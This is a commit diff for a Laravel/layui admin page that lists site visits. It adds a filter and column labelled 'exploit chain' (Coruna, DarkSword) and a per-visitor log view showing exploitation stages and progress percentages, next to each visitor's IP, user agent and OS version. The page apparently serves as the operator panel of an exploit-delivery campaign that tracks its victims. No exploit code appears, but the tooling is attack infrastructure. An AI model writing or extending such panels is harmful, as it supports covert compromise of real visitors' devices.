feat: ds

resources/views/admin/visits/index.blade.php

@@ -19,6 +19,16 @@
         </div>
       </div>
       @include('admin.partials.filter_channel_select')
+      <div class="layui-inline">
+        <label class="layui-form-label">利用链</label>
+        <div class="layui-input-block">
+          <select name="chain">
+            <option value="">全部</option>
+            <option value="0">Coruna</option>
+            <option value="1">DarkSword</option>
+          </select>
+        </div>
+      </div>
       <div class="layui-inline">
         <label class="layui-form-label">系统</label>
         <div class="layui-input-block">
@@ -50,23 +60,6 @@
     </div>
   </form>
   <div class="layui-card-body">
-    <div class="layui-form" style="margin-bottom:12px;">
-      <div class="layui-inline">
-        <label class="layui-form-label" style="width:auto;">分组</label>
-        <div class="layui-input-inline" style="width:180px;">
-          <select id="LAY-visit-group">
-            <option value="os">系统</option>
-            <option value="os_version">系统 + 版本</option>
-            <option value="browser">浏览器</option>
-            <option value="browser_version">浏览器 + 版本</option>
-          </select>
-        </div>
-      </div>
-    </div>
-    <table class="layui-table" lay-size="sm">
-      <thead><tr><th>分组</th><th>PV</th><th>UV</th></tr></thead>
-      <tbody id="LAY-visit-groups"><tr><td colspan="3">—</td></tr></tbody>
-    </table>
     <table id="LAY-visit-list" lay-filter="LAY-visit-list"></table>
   </div>
 </div>
@@ -74,23 +67,16 @@
 
 @push('scripts')
 <script>
-layui.use(['table', 'form'], function () {
-  var table = layui.table, form = layui.form, $ = layui.$;
-  var portal = @json($portal);
+layui.use(['table', 'form', 'layer'], function () {
+  var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
   var where = { range: '30d' };
+  var logsUrl = @json(route($portal.'.visits.logs'));
 
   if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
 
-  function loadGroups() {
-    var g = $('#LAY-visit-group').val() || 'os';
-    $.getJSON(@json(route($portal.'.visits.groups')), Object.assign({}, where, { group: g }), function (res) {
-      if (!res || res.code !== 0) return;
-      var html = '';
-      (res.data.rows || []).forEach(function (r) {
-        html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td></tr>';
-      });
-      $('#LAY-visit-groups').html(html || '<tr><td colspan="3">暂无</td></tr>');
-    });
+  function esc(s) {
+    return String(s == null ? '' : s)
+      .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
   }
 
   table.render({
@@ -101,7 +87,12 @@ layui.use(['table', 'form'], function () {
     cols: [[
       { field: 'id', title: 'ID', width: 70, sort: true },
       { field: 'channel_id', title: '渠道', minWidth: 160 },
-      { field: 'client_uid', title: '访客 UID', width: 160 },
+      { field: 'chain_label', title: '利用链', width: 120, templet: function (d) {
+        var ds = Number(d.chain) === 1;
+        return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
+          (ds ? 'DarkSword' : 'Coruna') + '</span>';
+      } },
+      { field: 'client_uid', title: '访客 UID', width: 280 },
       { field: 'os', title: '系统', width: 90 },
       { field: 'os_version', title: '系统版本', width: 100 },
       { field: 'browser', title: '浏览器', width: 100 },
@@ -109,27 +100,56 @@ layui.use(['table', 'form'], function () {
       { field: 'ip', title: 'IP', width: 130 },
       { field: 'referer', title: 'Referer', minWidth: 220 },
       { field: 'user_agent', title: 'UA', minWidth: 260 },
-      { field: 'created_at', title: '时间', width: 170, sort: true }
+      { field: 'created_at', title: '时间', width: 170, sort: true },
+      { title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
+        if (Number(d.chain) !== 1) return '—';
+        return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';
+      } }
     ]],
     page: true, limit: 20, limits: [10, 20, 30, 50],
     request: { pageName: 'page', limitName: 'limit' },
     response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
   });
 
+  table.on('tool(LAY-visit-list)', function (obj) {
+    if (obj.event !== 'chain-log') return;
+    var uid = obj.data.client_uid || '';
+    var loading = layer.load(1, { shade: 0.2 });
+    $.getJSON(logsUrl, Object.assign({}, where, { client_uid: uid }), function (res) {
+      layer.close(loading);
+      var rows = (res && res.data) || [];
+      var html = '<div style="padding:16px;">';
+      if (!rows.length) {
+        html += '<div style="color:#94a3b8;">暂无利用阶段记录</div>';
+      } else {
+        html += '<table class="layui-table" lay-size="sm"><thead><tr>' +
+          '<th>时间</th><th>阶段</th><th>进度</th><th>说明</th></tr></thead><tbody>';
+        rows.forEach(function (r) {
+          html += '<tr><td>' + esc(r.created_at) + '</td><td>' + esc(r.stage_label) +
+            '</td><td>' + esc(r.progress) + '%</td><td>' + esc(r.label) + '</td></tr>';
+        });
+        html += '</tbody></table>';
+      }
+      html += '</div>';
+      layer.open({
+        type: 1,
+        title: '利用日志 — ' + uid,
+        area: ['720px', '480px'],
+        content: html
+      });
+    }).fail(function () {
+      layer.close(loading);
+      layer.msg('加载失败');
+    });
+  });
+
   form.on('submit(LAY-visit-search)', function (data) {
     where = data.field;
     table.reload('LAY-visit-list', { where: where, page: { curr: 1 } });
-    loadGroups();
     return false;
   });
 
-  form.on('select', function (data) {
-    if (data.elem && data.elem.id === 'LAY-visit-group') loadGroups();
-  });
-  $('#LAY-visit-group').on('change', loadGroups);
-
   form.render();
-  loadGroups();
 });
 </script>
 @endpush